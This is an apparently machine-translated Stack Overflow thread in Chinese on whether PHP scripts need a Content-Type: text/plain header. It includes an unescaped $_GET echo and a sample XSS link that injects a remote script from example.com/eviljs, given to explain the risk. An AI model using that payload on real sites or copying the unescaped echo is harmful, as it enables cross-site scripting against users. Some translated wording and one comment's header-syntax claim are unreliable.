是标题('Content-Type:text/plain'); 有必要吗?

omg*_*omg 59 php head

无论有没有这个头部信息,我都没有看到任何差异.

Jer*_*gan 103

定义"必要".

如果您希望浏览器知道文件的类型是必要的.如果您不覆盖它,PHP会自动将Content-Type标头设置为text/html,以便您的浏览器将其视为不包含任何HTML的HTML文件.如果您的输出包含任何HTML,您会看到非常不同的结果.如果您要发送:

<b><i>test</i></b>
Run Code Online (Sandbox Code Playgroud)

一个Content-Type: text/html输出:

测试

Content-Type: text/plain输出:

<b><i>test</i></b>
Run Code Online (Sandbox Code Playgroud)

TLDR版本:如果你真的只输出文本那么它并不重要,但它错误的.

  • 在php.ini中搜索"default_mimetype".那里的文档将声明"PHP的内置默认值为text/html".不确定原因,但他们实际上并没有在[手册]中说明它(http://php.net/manual/en/ini.core.php#ini.default-mimetype). (8认同)
  • 这是危险的建议。它确实*真的*重要。将用户控制的纯文本作为 text/html 发送**是**跨站点脚本 (XSS) 攻击。 (2认同)

Kri*_*ann 49

PHP使用Content-Type"text/html"作为默认值 - 这与"text/plain"非常相似 - 这解释了为什么你没有看到任何差异.如果要按原样输出文本(包括<> - 符号),则需要text/plain.例子:

header("Content-Type: text/plain");
echo "<b>hello world</b>";
// Output: <b>hello world</b>

header("Content-Type: text/html");
echo "<b>hello world</b>";
// Output: hello world
Run Code Online (Sandbox Code Playgroud)

  • 您的*浏览器*不使用text/html作为默认值:PHP可以. (11认同)
  • 该代码中存在一个小错误.它可以在一个和平的HTTP客户端上工作,但是在头名称和它的值之间必须有一个空格:header("Content-Type:text/html"); (2认同)

rjm*_*nro 13

告诉浏览器发送它的数据类型非常重要.差异应该是显而易见的.尝试在浏览器中查看以下PHP文件的输出;

<?php
header('Content-Type:text/html');
?>
<p>Hello</p>
Run Code Online (Sandbox Code Playgroud)

你会看见:

你好

(请注意,如果在这种情况下错过了标题行,你将得到相同的结果 - text/html是php的默认值)

将其更改为text/plain

<?php
header('Content-Type:text/plain');
?>
<p>Hello</p>
Run Code Online (Sandbox Code Playgroud)

你会看见:

<p>您好</ P>

为什么这很重要?如果你在php脚本中有类似的东西,例如,ajax请求使用它:

<?php
header('Content-Type:text/html');
print "Your name is " . $_GET['name']
Run Code Online (Sandbox Code Playgroud)

有人可以在http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E上添加指向其网址的链接网站,如果用户点击它,他们会将您网站上的所有信息公开给任何提供链接的人.如果您以text/plain方式提供文件,那么您就是安全的.

请注意,这是一个愚蠢的例子,攻击者更可能将坏脚本标记添加到数据库中的字段或使用表单提交.


Ala*_*orm 7

设置Content-Type标头将影响Web浏览器处理您的内容的方式.当大多数主流Web浏览器遇到Content-Type of text/plain时,它们将在浏览器窗口中呈现原始文本源(与HTML呈现的源相反).这是看见之间的区别

<b>foo</b>
Run Code Online (Sandbox Code Playgroud)

要么

FOO

此外,在使用XMLHttpRequest对象时,Content-Type标头将影响浏览器序列化返回结果的方式.在收购jQuery和Prototype等AJAX框架之前,AJAX响应的一个常见问题是将Content-Type设置为text/html而不是text/xml.如果Content-Type是text/plain,则可能会出现类似的问题.